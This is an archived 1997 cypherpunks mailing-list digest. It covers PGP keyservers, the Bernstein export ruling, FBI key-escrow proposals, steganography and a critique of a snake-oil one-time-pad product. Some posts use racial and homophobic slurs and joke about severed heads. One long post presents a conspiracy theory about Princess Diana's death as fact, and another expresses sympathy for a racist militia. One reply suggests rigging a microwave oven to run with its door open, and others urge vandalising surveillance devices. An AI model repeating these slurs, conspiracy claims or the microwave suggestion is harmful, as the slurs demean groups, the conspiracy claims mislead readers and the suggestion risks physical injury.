>already drafted Tim C. May. However, if we lose too many players in
>trying to 'enforce' our 'right' to have him play for us, then we
>may be open to trade negotiations.
>
>Charles Whitman, KOTM

Charles, you are a towering figure in our pantheon!

But be advised that I don't play the form of soccer (football), known as
"Mayan football," where the losing team is sacrificed.

The variant I play, sometimes dubbed "May football," sacrifices the enemies
before the game starts and uses their heads. It's getting tough, though, as
women invade the D.C. work force...their long hair tends to get tangled up
and alter the direction the heads roll.

At least one bull dyke has mannishly short hair, though.

--Klaus!, goalee of Team May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Unicorn <hvdl@sequent.com>
Date: Thu, 4 Sep 1997 00:56:37 +0800
To: coderpunks@toad.com
Subject: PGP Keyservers and 5.0 DSS/D-H Keys...
Message-ID: <19970903182604.17756@sequent.com>
MIME-Version: 1.0
Content-Type: text/plain



Hi Guys (F/M),

Just a quick question.

Are the current (mostly PGP 2.6.x based) keyservers able to incorporate,
store and provide the new PGP  5.0 based DSS/Diffie-Hellman keys? And if
not how can  one publish (the public  part of) such a  key using nothing
more than email or a web-browser behind a firewall that does not allow a
direct connection to a keyserver on port 11371?

Ciao,
Unicorn.
-- 
======= _ __,;;;/ TimeWaster ================================================
     ,;( )_, )~\| A Truly Wise Man Never Plays   PGP: 64 07 5D 4C 3F 81 22 73
    ;; //  `--;     Leapfrog With a Unicorn...        52 9D 87 08 51 AA 35 F0
==='= ;\ = | ==== Youth is not a time in life, it's a State of Mind! ========





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Thu, 4 Sep 1997 09:05:09 +0800
To: cypherpunks@toad.com
Subject: Death of Privacy / Was: Di Privacy, Die!
Message-ID: <340E0380.1052@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



>From the Not-ly News !Server:

[Mainstream, Terra] -- "Huh?" by Defcom McCull'em

  Mainstream Media sources today denied rumors of news stories from
real people, in the real world, finding their way into the bowels of
the mainstream press before being burped out to make way for more of
the same-old-same-old.
  Asked why the initial reports of eyewitnesses using words such as
"explosion" were quickly buried in favor of the word "crash," sources
replied, only one guy, somewhere in Canada, was awake at that hour, and
he will soon be dead, so we can't really confirm the existence of those
eyewitnesses, since no one wants to talk to them.
  Asked why initial accounts had "five" reporters being detained and
why a rumor concerning the accidental death of "two" reporters, suddenly
turned into "seven" reporters being detained, the sources would only 
comment, "These were only preliminary estimates, before we had a chance
to talk to our media prisoners and explain the severity of what they
would be facing if their stories were not 'politically correct'."

  Asked why statements by Fayed family members concerning their views
that Dodi and Diana were 'offed' by the monarchy in a bid to thwart
a gain in the political influence of sandnigger mobsters, mainstream
media sources said, "We saw no need to cover old ground which had been
dealt with on the Cypherpunks list, both before and after the event."
  Asked about the missing right wheel on the death vehicle, sources 
inferred that it was found on the stretcher that carried Diana to the
hospital, next to the magic bullet that killed Kennedy.

NotlyNewsMonger
"All the news that gets you killed."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <remailer@bureau42.ml.org>
Date: Thu, 4 Sep 1997 03:13:53 +0800
To: cypherpunks@toad.com
Subject: Thought Police Make Bust
Message-ID: <JMQ4i3kRTnK0X+jKkk+znQ==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



WEIRDNUZ.492 (News of the Weird, July 11, 1997)
by Chuck Shepherd

* Brothers Geoffrey and Aaron Kuffner were arrested in New
Orleans in June and charged with terrorism as the ones who had
recently mailed or hand-delivered suspicious packages to local
government and news media offices.  The packages contained
innocuous items (which nonetheless were frightening enough that
two offices called for evacuations) and a four-page manifesto
vowing that "Violent Acts of Consciousness Have Only Begun." 
According to police, the men's goal was to call attention to public
ignorance of poetry and that among their demands was that all state
inaugural speeches be written in iambic pentameter. 

Cypherpunks Action Project #323a:
Post a message to the list in iambic pentameter. (That'll show 'em.)

Cypherpunks Action Project #323b:
Turn yourself into the police as a terrorist, for "Violent Acts of
Subconsiousness." Take your Dream Diary with you, as proof.

Cypherpunks Action Project #323c:
Write your violent dreams in iambic pentameter.

PentaMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Cypherpunks Maintenance Account <cpunks@www.video-collage.com>
Date: Thu, 4 Sep 1997 08:22:57 +0800
To: cpunks@www.video-collage.com (Cypherpunks Maintenance Account)
Subject: Re: Stay issued; modified stay to follow (fwd)
Message-ID: <199709040014.UAA19099@www.video-collage.com>
MIME-Version: 1.0
Content-Type: text/plain



----- Forwarded message from Bob Kohn -----

>From cpunks  Fri Aug 29 04:41:12 1997
Message-Id: <3.0.2.32.19970829010600.038952dc@mail.pgp.com>
X-Sender: kohn@mail.pgp.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.2 b3 (32)
Date: Fri, 29 Aug 1997 01:06:00 -0700
To: Cindy Cohn <Cindy@mcglashan.com>
From: Bob Kohn <kohn@pgp.com>
Subject: Re: Stay issued; modified stay to follow
Cc: sadams@forbes.com, telstar@wired.com, plotnikoff@aol.com,
        Ewasserman@sjmercury.com, dang@cnet.com, steven@echo.net,
        abate@ccnet.com, wendyg@cix.compulink.co.uk, amy@netcom.com,
        courtm@cnet.com, alan.boyle@MSNBC.COM, declan@well.com,
        sep@cbsnews.com, kenc@cwi.emap.com, arb@well.com, exp@mk.ibek.com,
        bransten@interactive.wsj.com, TomBemis@pacbell.net,
        sam.perry@reuters.com, jimevans@aol.com, ljflynn@aol.com,
        wendyl@ljx.com, bernstein-announce@toad.com
In-Reply-To: <199708290123.SAA24903@gw.quake.net>
Reply-To: Bob Kohn <kohn@pgp.com>
Sender: owner-cypherpunks@toad.com
Precedence: bulk

[text/enriched is unsupported, treating like TEXT/PLAIN]

Too bad.  Prof. Bernstein was perfectly positioned to become a great -- and the only legal -- exporting reseller of PGP software.  (no, this is not off the record)


Bob



At 06:21 PM 8/28/97 -0700, Cindy Cohn wrote:

>During a conference call with counsel today, Judge Patel issued a stay of

>the injunctive relief issued in her Opinion of August 25, 1997, effective

>until September 8. 

>

> On September 8 (or sooner if we get the papers to her) the Court she will

>issue a formal Stay Pending Appeal which will stay the injunctive relief

>issued in her Opinion of August 25, 1997, except that an injunction shall be

>reinstated to prevent the prosecution of Professor Bernstein for the

>"unlicensed export" of Snuffle 5.0 (which includes Snuffle and Unsnuffle)

>and any later versions of that program which he has developed.

>

>This eliminates, at least for the meantime, the injunctive relief granted to

>Bernstein as to any other computer programs which he may have developed or

>otherwise wished to publish.  It also eliminates the protections for persons

>other than Professor Bernstein.

>

>The government has said that it may still challenge this more limited stay

>in the 9th Circuit.  Professor Bernstein may also seek relief from the stay

>from the 9th Circuit.

>

>Cindy

>************************ 

>Cindy A. Cohn                                                               

>McGlashan & Sarrail, P. C.

>177 Bovet Road, 6th Floor                                            

>San Mateo, CA  94402

>(415) 341-2585 (tel)

>(415)341-1395 (fax)

>Cindy@McGlashan.com

>http://www.McGlashan.com

>

>

>




Robert H. Kohn

Vice President, Business Development

PRETTY GOOD PRIVACY, INC.

2121 S. El Camino Real, 9th Floor

San Mateo, California 94403

Direct: (415) 524-6220

Cellular: (415) 297-6527

Main: (415) 572-0430

Fax: (415) 572-1932

kohn@pgp.com

PGP Home Page: http://www.pgp.com

Personal Home page: http://www.kohnmusic.com/people/bkohn.html


<smaller>"If all the personal computers in the world - ~260 million
computers - were put to work on a single PGP-encrypted message, it would
still take an estimated 12 million times the age of the universe, on
average, to break a single message."

 -- William Crowell, Deputy Director of the National Security Agency, 

	testifying before the U.S. Congress on March 20, 1997</smaller>

----- End of forwarded message from Bob Kohn -----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Thu, 4 Sep 1997 10:57:15 +0800
To: cypherpunks@toad.com
Subject: Re: Big Brother is watching
In-Reply-To: <199709040143.DAA17878@basement.replay.com>
Message-ID: <3.0.3.32.19970903193232.006e28e8@popd.netcruiser>
MIME-Version: 1.0
Content-Type: text/plain



At 03:43 AM 9/4/97 +0200, Anonymous wrote:
>And if some peckerhead parks his SUV in your driveway to nail speeders, buy a
>"radar detector tester" (maybe C&D, or an electronic-hobbyist's magazine) and
>crank it up every now and again while he's trying to catch violators. Do it
>from the safety of your house so you don't wind up with a nightstick up your
>ass.

Rigging your microwave so it will run with the door open works real good,
too.  Just remember to stand a safe distance behind it...

Jonathan Wienke

What part of "the right of the people to keep and bear Arms, shall not be
infringed" is too hard to understand? (From 2nd Amendment, U.S. Constitution)

When everyone is armed, criminals fear everyone, not just the police.

PGP 2.6.2 RSA Key Fingerprint: 7484 2FB7 7588 ACD1  3A8F 778A 7407 2928
DSS/D-H Key Fingerprint: 3312 6597 8258 9A9E D9FA  4878 C245 D245 EAA7 0DCC
Public keys available at pgpkeys.mit.edu. PGP encrypted e-mail preferred.

US/Canadian Windows 95/NT or Mac users:
Get Eudora Light + PGP 5.0 for free at http://www.eudora.com/eudoralight/
Get PGP 5.0 for free at http://bs.mit.edu:8001/pgp-form.html

Other PGP 5.0 sources:
http://www.ifi.uio.no/pgp/
http://www.heise.de/ct/pgpCA/download.shtml
ftp://ftp.pca.dfn.de/pub/pgp/V5.0/
ftp://ftp.fu-berlin.de/pub/pc/win95/pgp
ftp://ftp.fu-berlin.de/pub/mac/pgp
http://www.shopmiami.com/utopia.hacktic.nl/pub/replay/pub/pgp/pgp50/win/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 4 Sep 1997 11:23:28 +0800
To: cypherpunks@Algebra.COM
Subject: Militias
Message-ID: <v03102800b033d42eea18@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




I just watched an hour-long special on CBS, "The Birth of a Militia," about
the Rocky Mountain Militia is southern Utah.

On nearly every issue I felt the militia members were right. Personally, I
don't share their animosity toward Jews and blacks, but their beliefs are
theirs to practice as they wish (including fighting laws which force them
to mix with other races, as with laws which force them to hire those they
have no desire to hire).

I got so angry at their persecution that I felt like going out target
shooting at my favorite range (open late at night). But since I went out
shooting just this afternoon, I guess I'll stay home and rant.

The militia member who was arrested, tried, and convicted of illegally
owning a gun, evading the police, and driving without a license, apparently
committed no serious crimes, by my standards. He didn't rob, he didn't
rape, he didn't kill.

As the Sheriff was quoted several times as saying, he "mouthed off." And
apparently being a "skinhead" and a "militia member" is ipso facto proof of
criminality. The Sheriff said he planned to get Johnny.

Fuck them.  Political crimes. Just like Bell.

Maybe I will get in another hour of target practice tonight. The end times
are coming.

(BTW, the CBS piece left on this note: Johnny (didn't catch his last name)
is holed up this evening in his compound, refusing to report for
sentencing. The State Security Bureau, er, the Sheriff, says a shootout is
likely.)

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 4 Sep 1997 11:55:04 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Big Brother is watching
In-Reply-To: <199709040143.DAA17878@basement.replay.com>
Message-ID: <v03102801b033d8da030e@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 6:43 PM -0700 9/3/97, Anonymous wrote:

>This was discussed a while ago. Buy a license plate cover ("Just protecting my
>plates against stones and vandalism, Officer!") that's virtually transparent
>from head-on, but opaque beyond  a certain view angle. I think these things
>exist -- look in Car & Driver or some such.

By the way, the last time I was driving around the Greater Washington
National Compound, there were signs in Virginia declaring that use of radar
detectors was illegal.

This sort of banning of certain technologies which "hinder law enforcement"
is of course what we were talking about a few weeks ago, with the "for law
enforcment use only" trends in the PRA.

The State Parks and Recreation cops I was shooting next to today were
wearing body armor...it looked like Second Chance Class III stuff. These
vests are no longer sold to civilians. (I don't know if this a "voluntary"
action by the body armor makers, or is codified in some obscure law. I know
that there are periodic calls to outlaw ownership of such things by
civilians, including certain types of bullets, certain types of detectors,
etc. These rangers were sharing the range, so to speak, and gave me some
long looks when I entered carrying an assault rifle case and went over to
my lane. By the way, in case anyone is wondering what State Parks and
Recreation rangers were doing at a target range, they were carrying .40 S&W
semiautos...looked like mostly SIGs. Here in the Santa Cruz Mountains, the
rangers are essentially narcs and often run into marijuana fields hidden up
in the forests.

I didn't  mention to them my felon status.

--Tim May




There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Thu, 4 Sep 1997 11:07:55 +0800
To: cypherpunks@toad.com
Subject: Di Privacy, Die / Was: Death of Privacy
Message-ID: <340E201B.578A@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



The death of the "People's Princess" is bringing calls for laws to
protect 'privacy'.
  Except that the laws being talked about are mostly about limiting
what people are allowed to do in public. Same-old, same-old.
  Laws are being discussed that deal with the 'licensing' and the
'regulation' of telephoto lenses and listening devices. Same-old,
same-old.

  The fact that Dodi and Diana's staged death took place in a country
with the most plentiful and restrictive laws concerning the public
movement and actions of the press, seems to be lost in the similarly
staged outrage against the private press.
  Does anyone doubt that whatever new laws are enacted will result in
the further herding of the press into mainstream feeding pens, ala
Whitehouse news conferences and military maneuvers? 

  Of equal importance to the effect on restrictions of public activity
that the staged murder of Diana and Dodi will have, is the restrictions
on the press, through threats of arrest and intimidation.
  Typical government-spook operation. Witnesses and evidence subjected
to detention and seizure. All 'news' of the event being coordinated by
goverenment/LEA shills who 'point' us towards 'those responsible' and
'at fault'--with a mainstream press providing us with the 'solutions'
to preventing the actions of free people resulting in similar tragedies
in the future.
  The message is clear--freedom leads to tragedy. If people run around
doing what they want to do in public, then there will be accidents and
tragedies. This must be prevented at all costs.

  Get real. The same monarchy spooks who released the Dianagate tapes
of Diana's private telephone conversations, in order to make her look
like a slut in order to make Prince Charles sluttery look less serious,
watch Diana twenty-four hours a day, are the same people who took
possession of the photographic evidence of the murder scene.
  Diana herself, in a public interview, spoke of the Dianagate tapes as
being just a small part of the monarchist conspiracy to tear her down
and nullify the threat she presented to the anal retentive structure of
the monarchy.
  Dodi's ex-fiancee plainly stated on TV that Diana would be alive today
if she had not taken up with Dodi. The Fayed family has made it clear
that they feel the deaths were the result of the monarchy not wanting
Diana's image and influence being connected to those outside the loop
of the monarchy.
  Think about it. The mother of the future King of England, getting
married to a rich, political mobster. [Translate~~a non-white who buys
parliamentary votes.] It's not going to happen.

  Ask yourself this--"What do the assassinated free-world figures all
have in common?"--John F. Kennedy, Martin Luther King, Bobby Kennedy,
John Lennon, Princess Diana.
  Answer: "They are decent people, visionaries who used their power
and influence to fight for the empowerment of the citizens, and against
the reign of a dictatorial secret government."
  Answer #2: "Once they were dead, everything they stood for became
subject to revisionist history by their murderers."

  The initial assault after Diana's death was on the free press, the
secondary assault (in reality, the main attack, the first only being
a diversionary maneuver) focuses on placing the 'blame' for Diana's
death with her stepping outside the loop of the anal-retentive monarchy
and hanging out with parliamentary vote-buying thugs who employ loud
mouthed drunk drivers.

  In the age of the ten-second sound-byte, giving the government spooks
two whole days to manipulate the press coverage before the private
citizens at the murder scene are allowed to speak, is a godsend.
  Once the paparrazi and the sandniggers have had the blame balanced on
their shoulders, the press is not about to backtrack and look for the
true story. Even job interview self-help books tell us that the first
two minutes set the tone and future impression of the whole process.
The governement FUD disseminators know that if they can have the first
say in any event, that those pursuing the truth have to play catch-up
from that point forward.

  Has anyone noticed that the 'news' surrounding this event has had
precious little coverage of the people actually involved in the whole
affair?
  The doctor who magically appeared on the scene and 'treated' Diana
isn't known about or accessible for a couple days. The police, firemen,
etc., are not interviewed, like they are in even the most extremely 
inconsequential of news story coverages.
  Get real--if a fucking cat gets rescued from a cocksucking tree, then
we get to see an interview with the hero at the scene. In the death of
a major public figure, the press doesn't bother to interview those at
the scene of the event? Right...
  The first eye-witness interview I saw was by someone who used the
word "explosion." That was the _last_ time I saw that interview. I saw
_one_ mention of the Fayed family saying the monarchy had murdered
Dodi and Diana. Never saw that again. Must not be news. Right...

  Notice that the press reports that the two little princes want to 
walk behind the casket. Is it a 'coincidence' that the two innocent
victims who are now under the thumb of the monarchist spin-doctors
are going to be front and center in the coverup of their mother's 
murder? 
  Why are the thousands of death threats against Prince Charles if he
tries to use the funeral to redeem his image *not* news?

  Why? Same-old, same-old.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 4 Sep 1997 12:58:57 +0800
To: cypherpunks@algebra.com
Subject: Re: FBI calls for mandatory key escrow; Denning on export ctrls(fwd)
In-Reply-To: <199709040308.XAA30508@mx02.together.net>
Message-ID: <v03102802b033de324449@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:08 PM -0700 9/3/97, Brian B. Riley wrote:
>On 9/3/97 8:30 PM, Lucky Green (shamrock@netcom.com)  passed this wisdom:
>
>>[Freeh]
>>There are a number of ways that that could be
>>implemented, but what we believe we need as a minimum
>>is a feature implemented and designed by the
>>manufacturers of the products and services here that
>>will allow law enforcement to have an immediate lawful
>>decryption of the communications in transit or the
>>stored data.  That could be done in a mandatory
>>manner.  It could be done in an involuntary manner.
>>But the key is that we have the ability.
>>-
>
> ... hmmmm,  immediate *lawful* decryption ... which implies that they
>plan to end run the Bill of Rights with some law that permits them to
>walk in and snoop on the spot ... right now to look at my mail which
>needs no key, just a teakettle, they at least have to stop somewhere and
>find a tame judge, which removes at least some of the immediacy.

I urge extreme caution on pushing this 4th/5th/etc. angle about "due
process" and "search and seizure" and legal niceties. If Freeh's proposal
is passed, I'm sure the _trappings_ of due process and warrants and
whatnot, or at least a magistrate's signature, will be implemented.  Judges
will be found, maybe even special "Surveillance Courts," as with the FISUR
process. Building a case against Freeh's proposal on this basis is weak.

A much stronger basis for stopping the Freeh nonsense is to strongly assert
the First Amendment.  Dictating the form that speech must take--escrow--is
unconstitutional.

Even the weaker form of Freeh's suggestion, that key escrow capabilities be
forced into all Internet products, even if the use is "voluntary," seems to
lack constitutional support. Could the Federal Trade Commission force all
products to have such features? The Consumer Safety Products Commission?

I don't know where the authority for mandatory seat belts and  air bags is
claimed to come from, either. Or helmet laws in various states. Someone
else is welcome to spend time researching this. Personally, all such laws
are infringements on personal freedom, in my view. I half expect a case
will be made that key escrow is a "safety" feature. Freeh's invocation of
air bags may have been a clever signal.


--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 4 Sep 1997 12:27:56 +0800
To: cypherpunks@Algebra.COM
Subject: Re: FBI calls for mandatory key escrow; Denning on export ctrls
In-Reply-To: <199709040317.XAA32663@mx01.together.net>
Message-ID: <v03102803b033e4efd9b4@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:17 PM -0700 9/3/97, Brian B. Riley wrote:

> So, looking at all this, what does it mean???? Are they going to have
>an amnesty period when I can run down to my local firehouse and turn
>in my PGP5 CDROM without risking going to jail? Will MIT turn over
>logs of everyone who ever d/l-ed PGP2 and we have four weeks to turn
>over every backup disk we ever made? If they do get this by us, and I
>decide to use their silly-assed encryption, do I get a ten year all
>expense paid vacation at the Allenwood Hilton if I send my bootlegged
>PGP message inside their encryption?

As I understand what Freeh said, not even he is talking about banning
existing programs. Rather, he's talking about requiring the "capability" be
added to Internet programs (presumably browsers, mail programs, etc.). It's
obvious that one could use an old word processor, editor, PGP, etc., and
then paste the text into the Freeh-approved Internet program. What would
the status be of this?

(In other words, it would be a truly draconian move to try to ban all
encrypted messages.)

But I think we should accelerate the use of steganography.

(Oh, and for the bozos who've said I just "talk," while they write code,
check the ancient archives of sci.crypt, circa 1989, and see that I
reported on using the LSBs of GIF images and DAT tapes to hide bits. I
didn't find earlier messages in sci.crypt reporting on this idea, but it's
quite possible that I was not the first to think of this. I don't claim a
scientific discovery! I reported my experiments over the next couple of
years, and Romana Machado credited me in her "Stego" program, circa '93. Of
course, by the time Peter Wayner wrote his little book, "Disappearing
Writing," or somesuch, all of the "inventors" of this LSB approach to
crypto were others, and they did their work several years after my
sci.crypt posts. I guess I didn't shout out enough. Or Peter didn't do much
research.)

--Tim

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Thu, 4 Sep 1997 13:08:47 +0800
To: "William H. Geiger III" <pgp-users@joshua.rivertown.net
Subject: Re: [PGP-USERS] Crypto-logic US$1 million Challenge
Message-ID: <3.0.32.19970903213525.006c9764@best.com>
MIME-Version: 1.0
Content-Type: text/plain



There was a Snake-oil FAQ floating around for quite a while that addressed
all this
in some detail.

This scheme/scam has circulated before, too although I forget the name of
the perpetrating company.

At 02:40 PM 9/3/97 -0400, William H. Geiger III wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>In <97090316550827/0002595870PK5EM@mcimail.com>, on 09/03/97 
>   at 11:55 AM, Jeffrey Gold <0002595870@MCIMAIL.COM> said:
>
>>Although it's not PGP, I thought this might be of interest.
>>I've condensed a Wall Street Journal Article with info from
>>the web page http://www.ultimateprivacy.com
>
>>  A start-up company is offering a $1 million challenge. Crypto-
>>Logic Corp. of Austin, Texas, claims to have created an encryption 
>>system for electronic mail so foolproof that it can't be broken.  If
>>someone can  figure out a special encrypted e-mail message  within a
>>year, the company says it will pay a reward of $1 million.
>
>>  Cryptologists agree that the decades-old encryption method   that
>>Crypto-Logic is claiming to use -- called a "one-time pad" -- 
>>is theoretically unbreakable. Each "pad" has a set of uniquely 
>>random digital symbols that are coded to the actual message. 
>>The recipient uses the same symbols to decrypt the message. 
>>The pads are used only once.
>
>>  Of course, the problem with any one-time pad is the distribution
>>of multiple pads.  A new one is needed for each message.  Public-key
>>cryptography (used by PGP) addresses this issue.  It is not clear
>>how Crypto-Logic Corp. addresses the distribution issue.
>
>
>ROTFLMAO!!!!!
>
>What a sweet little scam they have going here. :)
>
>While there product cost $99, which is not unreasonable for a security
product of this nature, they charge $49 for the "OTP's" (I'll get to the
OTP's later)!!!
>
>Now they way they have this set-up is that for each person that you are
communicating with requires a separate "OTP". The program comes with 2
"OTP's" and additional "OTP's" can be purchased for $49. So say you have 10
people you wish to communicate with you are talking almost $500 out the
gate to get going!!! This is just silly.
>
>
>Now to "OTP's". These are the things that snake-oil salesmen's dreams are
made of. Here is how their sales pitch works (and i have seen many of them
over the years):
>
>
>1) OTP's are unbreakable
>2) We use an OTP
>3) Our program is unbreakable
>4) You should use our program
>
>I will address all three points of their sales pitch and show the flaws in
it.
>
>1) OTP's are unbreakable:
>
>  To understand how one can make this claim (and it is true) on needs to
understand what a OTP is and how it works.
>
>A OPT (One Time Pad) is just a file of random numbers. That's it, nothing
fancy here. To encrypt a message one takes the bits in the plaintext and an
equal amount of bits from the OTP and XOR them together. The result is just
another random file of bits. To get the plaintext back one takes the
"encrypted" files and Xor's it with the same bits used the first time.
>
>Quite simple but there is a catch:
>
>  Your OTP must but TRULY RANDOM!! If there are any patterns in your
"random" data you are dead in the water. The biggest flaw in products that
claim to use OTP's is they use what is called a PRNG (pseudo random number
generator). Unfortunately the data that PRNG's produce are not sufficiently
"random" for use in OTP's. It has long been accepted in the field of
cryptology that you *MUST* use a real world sample for random data, things
like measuring the time intervals between click on a Geiger counter
measuring background radiation.
>
>A second catch:
>
>  You must never, never reuse any of the bits from your OTP!!! As simple
as this seems (after all this is why they call it an One Time Pad) there
are programmers out there that fail to grasp this basic concept. Now AFAIK
there is no pad reuse with this program. That's where their revenue stream
is comming from charging you for the new pads!
>
>So if you use truly random data (no PRNG's) and you never reuse bits then
an OTP encrypted message is provably unbreakable.
>
>
>2) We use OTP's
>
>I have seen numerous claims by various "snake-oil" salesmen that their
program uses an OTP only too see that they are using a PRNG to generate
their "OTP". I even had one claim that it was ok to reuse his PRNG
generated pad.
>
>Now since the company provided no details on how they generate the OTP's
who knows what they are doing.
>
>3) Our program is unbreakable
>
>Well if they are dotting all their I's and crossing all their T's when it
comes to generating and using OTP's then yes the message is unbreakable.
>
>But wait their program does not generate the OTP's you must buy them from
the company!! This means that a 3rd party outside of you and the person you
are communicating with has a copy of the pad!!! This is a big no-no in
cryptology. Anyone who has access to the OTP can decrypt any message that
was encrypted using it. What type of security do they have on site? Who has
access to the OTP's?? How are they generated?? What are their policies if
the government requests access to these OTP's?? All questions left
unanswered by the company.
>
>I must say that I seriously question the on-site security of the OTP's
considering how the initial OTP's are sent to the customer, (drum roll
please), the just MAIL them!!!!
>
>This brings us to the third catch to using OTP's: How to exchange the pads.
>
>Before the advent of Public Key Encryption this was the most daunting task
in cryptology. How do you get the keys to the people who need them to
decrypt the message??? With OTP's or any form of cryptology where the same
key is used to encrypt and decrypt the message the user must find a
"secure" channel for exchanging the keys. This is no different than a key
to a house or a car, the same key is used to lock and unlock the door.
Anyone who has a copy of the key can unlock the door. Need less to say you
don't just send the key in the mail. Usually such exchanges are done in
person or if this is not practical a "trusted" courier is used to exchange
the key. Not very practical for every day use.
>
>
>4) You should use our program
>
>Consider the following:
>
>- -- Unknown methods used for generation Otp's
>- -- Customer unable to generate their own OTP's
>- -- Unknown "on-site" security
>- -- Otp's escrowed by company (they have a copy of your keys)
>- -- Additional cost for each new key
>- -- Obvious lack of security in mailing initial Otp's to customers
>- -- No solution to the key exchange problem
>- -- No source code for program
>
>I would not use this program nor would I recommend it to anyone else.
There are may other programs that provide overall better security than what
this program ever can or ever will provide.
>
>I will CC: the Cyberpunks & Coderpunks list as there may be others there
who can better expand on this issue.
>
>
>- -- 
>- ---------------------------------------------------------------
>William H. Geiger III  http://www.amaranth.com/~whgiii
>Geiger Consulting    Cooking With Warp 4.0
>
>Author of E-Secure - PGP Front End for MR/2 Ice
>PGP & MR/2 the only way for secure e-mail.
>OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html
            
>- ---------------------------------------------------------------
>
>-----BEGIN PGP SIGNATURE-----
>Version: 2.6.3a
>Charset: cp850
>Comment: Registered_User_E-Secure_v1.1b1_ES000000
>
>iQCVAwUBNA2vRI9Co1n+aLhhAQF7NgP/TIfrhNW8QMiqNBE0atN0lVBeZFtTk1Jh
>ARJeGkh+ZxV+yphx0CGe9xMWRLYx3qqFPmb69iPG3AdRiLFVigSoK5HiNo857ilh
>6pSt3ZHVJStJ8BjPazH+n3QXQGtrCZ2hBF6kBWfPxDMFdc+dZZ0y0/4kSt60Dnx1
>CulFvdCNIK4=
>=yDMp
>-----END PGP SIGNATURE-----
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 4 Sep 1997 12:57:48 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Big Brother is watching
In-Reply-To: <199709040328.XAA03610@www.video-collage.com>
Message-ID: <v03102804b033ecc0afc8@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:28 PM -0700 9/3/97, Sean Roach wrote:
>At 03:43 AM 9/4/97 +0200, Anonymous wrote:
>...
>>>With this wonderful sucess, We can all look forward to this items being
>>>placed in our domiciles in order to further protect us from crime.
>>
>>And I'll give my kids a can of spray paint and a ladder. Maybe I'll offer
>>bonus prizes if they can figure out an inventive, undetectable way to disable
>>the fucker.
>...
>In Altus, it is illegal to sell spray paint to persons under the age of 18.
>That makes two violations of their rights that I know of.
>The curfue which was enacted a couple years ago being the first.
>All because the local politicians are fully aware that they are too young to
>vote.

